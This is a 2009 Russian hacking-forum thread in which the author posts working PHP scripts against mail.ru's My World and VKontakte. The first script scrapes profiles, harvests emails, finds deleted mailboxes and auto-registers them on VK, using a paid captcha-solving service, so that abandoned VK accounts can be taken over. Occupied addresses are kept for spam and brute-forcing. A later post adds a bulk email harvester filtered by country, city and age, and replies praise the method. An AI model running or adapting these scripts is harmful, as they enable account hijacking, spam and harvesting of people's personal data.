почти реггер вконтакта=))

Discussion in 'PHP' started by zifanchuck, 16 Oct 2009.

  1. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Типа Интро = )​

    Все знают что Вконтакте.ру ввел ограничения и теперь чтобы зарегистрироваться нужно получить код по смс и ввести его на сайте и на один номер может быть только одна регистрация. Все регеры подохли, вконтакте быстро банит то что у нас осталось нареганого и нам остаеться только покупать аки с фейка, но они тоже живут не очень долго так как юзера меняют пароли.
    Если вы думаете что можно будет поиметь кучу аков то должен вас расстроить тем способом что описан будет ниже можно получить не много аков, но там будет некоторый плюс.
    Типа История​

    Сижу я вообщим на ачате, читаю разную муть. И тут мне приходит сообщения от Кусто с просьбой написать скрипт (я тогда писал скрипты за отзыв). В письме он изложил полную картину того как должен работать скрипт. Тема реально новая и до такого я бы не додумался =)

    Суть скрипта​

    По сколько мы не можем просто зарегать акаунт то нужно искать окольные пути, как раз Кусто нашел.
    Есть такой сервис МойМир (my.mail.ru) от всем знакомого нам почтовика mail.ru . При регистрации нам создаеться автоматически МойМир даже если мы им не пользуемся. Сам почтовик удаляет емейлы если им не пользовались больше 3 месяцев, но МойМир остаеться даже есть емейл сдох. Начинаете улавливать мысль ? Тоисть если найди всех «Насть» и проверить мыла то может где-то найдем свободный. Логично? А может этот мыльний есть вконтакте???
    Вот Кусто и попросил меня написать скрипт который ищет всех «Насть» берет мыльник, проверяет, если он свободен то проверяет его вконтакте, если там он занят то записывает в файл.
    Скрипт написал. Все занятые мыла бросает в бед.тхт (может пригодиться для спама, брута), свободные мыла в гуд.тхт, а те что свободные и есть вконтакте записывает в веригуд.тхт
    Но есть здесь недостаток. Например оно чекнуло акаунт и он был свободен, то при повторном чеке этого ака он будет лететь в гуд =(


    Вот сам скрипт​


    PHP:
    <form method="POST">
    <center>
    email:<input type="text" name="email"><br>
    pass:<input type="text" name="pass"><br>
    Имя:<input type="text" name="name"><br>
    Фамилия:<input type="text" name="surname"><br>
    <input type=submit value="НАчать РАботать!!!">
    </center>

    <?php

    //скрипт для поиска юзеров в МоемМире, выдерание мыла, проверка на занятость, потом чек свободных в вконтакте.
    //с поддержкой антикаптчи.

    set_time_limit(0);

    ////////////////////////////////////////////

    function curl($url,$post)
    {
    $cfile 'cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

    ///////////////////////////////

        
    function add_file($path,$page_body)
    {
       
    $file=fopen($path,"a+");
        
    fputs($file,$page_body);

       
    // close out file
       
    fclose($file);
    }

    //////////////////////////////


     
    function recognize($filename$apikey$is_verbose true$rtimeout 3$mtimeout 200$is_phrase 0$is_regsense 1$is_numeric 0$min_len 0$max_len 0)
    {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
        
    $postdata = array(
            
    'method'    => 'post',
            
    'key'       => $apikey,
            
    'file'      => '@'.$filename//полный путь к файлу
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,

        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch))
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "ID $captcha_id \n";
            
    $waittime 0;
            if (
    $is_verbose) echo "<br>sleep $rtimeout \n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
                if (
    strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "<br>captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout)
                    {
                        if (
    $is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
    $is_verbose) echo "<br>waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                    echo 
    '<br>'.$ex[1];
                }
            }

            return 
    false;
        }
    }


    ///////////////////////////////////////

    $email $_POST['email'];
    $pass $_POST['pass'];
    $name $_POST['name'];
    $surname $_POST['surname'];

    $ak ''// Антикаптча ключ

    if(!$email||!$pass){exit('Введите даные');}

    list(
    $login$domain) = explode("@"$email);
    $result curl("http://win.mail.ru/cgi-bin/auth""Login=".$login."&Domain=".$domain."&Password=".$pass);

    for(
    $page=1$page<=10000$page++)
      {
        
    $result curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=&lastname=".$surname."&city=""");
        if (
    preg_match('#К сожалению(.*)#iU',$result,$avtoriz))
        {
            
    $page 10001;
        }
        else
        {
        
    preg_match_all ('#my\.mail\.ru\/mail\/(.*)\/#iU'$result$regs);
        
    $regs $regs[1];
        
    $count count($regs);

        for(
    $i=15$i<=$count$i++)
         {
            
    $i++;
            
    $result curl("http://my.mail.ru/mail/".$regs[$i], "");
            
    preg_match_all ('#gifts\?send=(.*)\"#iU'$result$re);
            
    $checkemail $re[1][0];
            if(!
    $checkemail){}
            else
           {
            list(
    $login$domain) = explode("@",$checkemail);
            
    $result curl("http://win.mail.ru/cgi-bin/passremind""action=login&Username=".$login."&Domain=".$domain);
            
    $z=strpos($result"Пользователь отсутствует.");
            if (
    $z !== false)
             {
                 
    add_file("good.txt"$checkemail."\r\n");

                
    $result curl('http://vk.com/reg0?act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4''');
        if(
    strstr($result"captcha_sid"))
        {
                
    preg_match_all ('#captcha_sid\"\:\"(.*)\",\"text"#iU'$result$regs);
                
    $sid $regs[1][0];
                
    $result curl("http://vk.com/captcha.php?s=1&sid=".$sid,"");
                
    file_put_contents('cap.jpg',$result);
                
    $captcha=recognize('Z:/home/norm/www/cap.jpg' ,$ak);
                
    $result curl('http://vkontakte.ru/reg.php''act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4&by_login=0&captcha_sid='.$sid.'&captcha_key='.$captcha);

               if(
    strstr($result,'login.php?email='))
            {
                 
    add_file("varygood.txt"$checkemail."\r\n");
            }
        }
        else
        {
            if(
    strstr($result,'login.php?email='))
            {
                 
    add_file("verygood.txt"$checkemail."\r\n");
            }

        }
            }
            else
            {
                
    add_file("bad.txt"$checkemail."\r\n");
            }
           
    sleep(30);
           }
         }
        }
      }
    ?>

    Нужно в самом коде добавить антикаптчакей (вконтакте раз гдето в 5 раз выскакивает каптча). Потом когда запустите его через браузер введите логин и пасс для МойМир и фамилию или имя.

    П.С Автор идеи (Кусто) не против того что я написал статью :p
     
    11 people like this.
  2. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Хм, идея действительно интерестная и оригинальная. Молодец Кусто, молодец zifanchuck.
     
  3. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    Кстати могу сказать что сейчас будут многие использовать данный способ и кричать потом что мало акков и т д, Но незабывайте, что прежде чем выложить скрипт сюда им пользовались)) Да и счас начнеться)) Так что выбирайте имена типа Зульфия или Розалина))), т к счас всех Тань, Кать, Маш прочекают))
     
    8 people like this.
  4. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Хорошая тема, но скоро видимо стухнет, нечего чекать будет)
     
  5. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Ставьте + Кусто)) без него бы этого не было ))
     
  6. .ATK

    .ATK Active Member

    Joined:
    20 Feb 2009
    Messages:
    143
    Likes Received:
    111
    Reputations:
    9
    Тееемаа) молодец кусто!
     
  7. -= PeReC =-

    -= PeReC =- New Member

    Joined:
    29 Jan 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Была подобная мысль, юзая ретривер Пухового.
     
  8. famnam

    famnam Elder - Старейшина

    Joined:
    13 Apr 2008
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    я как раз подобное думал, тока пива выпил и забил ))) ... молодцы!
     
  9. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    хорошая идея) молодцы)
     
    1 person likes this.
  10. nonamez

    nonamez Elder - Старейшина

    Joined:
    22 Jul 2007
    Messages:
    565
    Likes Received:
    265
    Reputations:
    17
    Тс,а мог бы чуть переделать свой софт и сделать просто сбор эмайлов по странам из моего мира? Без проверки вк -Просто сбор по странам.
     
  11. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Хорошая идея)
     
  12. nonamez

    nonamez Elder - Старейшина

    Joined:
    22 Jul 2007
    Messages:
    565
    Likes Received:
    265
    Reputations:
    17
    С ответов херова соберать,а вот тут по странам было бы опупенная база!
     
  13. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Сеня заметил=) немного не понял. тоисть вы вбиваете страну, а оно просто парсит мыльники?
     
  14. vovakozar

    vovakozar Banned

    Joined:
    31 Jan 2010
    Messages:
    20
    Likes Received:
    14
    Reputations:
    0
    zifanchuck,дa...
     
  15. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    вот
    PHP:
    <form method="POST">
    <center>
    email:<input type="text" name="email"><br>
    pass:<input type="text" name="pass"><br>
    Имя:<input type="text" name="name"><br>
    Фамилия:<input type="text" name="surname"><br>
    Страна(номер):<input type="text" name="country"><br>
    Город(номер):<input type="text" name="city"><br>
    Возраст(age1,age2...):<input type="text" name="age"><br>
    <input type=submit value="НАчать РАботать!!!">
    </center>

    <?php


    set_time_limit
    (0);


    function 
    curl($url,$post)
    {
    $cfile 'cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };


        function 
    add($path,$page_body)
    {
       
    $file=fopen($path,"a+");
       
    fputs($file,$page_body);
       
    fclose($file);
    }


    $logfile 'log.txt';

    $email $_POST['email'];
    $pass $_POST['pass'];
    $name $_POST['name'];
    $country $_POST['country'];
    $city $_POST['city'];
    $age $_POST['age'];
    $surname $_POST['surname'];


    if(!
    $email||!$pass){exit('Введите даные');}

    list(
    $login$domain) = explode("@"$email);
    $result curl("http://win.mail.ru/cgi-bin/auth""Login=".$login."&Domain=".$domain."&Password=".$pass);

    for(
    $page=1$page<=1000$page++)
      {
        
    $result curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=".$country."&lastname=".$surname."&city=&age=".$age"");
        if (
    preg_match('#К сожалению(.*)#iU',$result,$avtoriz))
        {
            exit;
        }
        else
        {
        
    preg_match_all ('#http://www.mail.ru/agent\?message&to=(.*)"#iU'$result$regs);
        
    $regs $regs[1];
        
    $regs implode("\r\n",$regs);
        
    add($logfile,$regs."\r\n");
        }
      }
    ?>
    Код писал давненько, сегодня взглянул и понял что можно код было делать получше. Ну все приходит с опытом=)
     
  16. ВоЕН КОТЭ

    Joined:
    25 Jun 2009
    Messages:
    0
    Likes Received:
    6
    Reputations:
    0
    Поддержу твою идею!
    Удачи!
     
  17. [ac1D]

    [ac1D] Banned

    Joined:
    6 Dec 2009
    Messages:
    44
    Likes Received:
    27
    Reputations:
    0
    Там же теперь активация, нужно ввсети свой моб. тел что бы получить код активации
     
  18. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    неповериш- там ее уже нет)))
     
    1 person likes this.
  19. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Активации нет. Но что бы добавить кого то в друзья/пригласить в группу/отправить ЛС нужно ввести моб :(
     
    2 people like this.
  20. [ac1D]

    [ac1D] Banned

    Joined:
    6 Dec 2009
    Messages:
    44
    Likes Received:
    27
    Reputations:
    0
    Здорово) так тогда вообще скрипт написать не составит проблем, только ввод капчи ручной.. и активация с мыла. :)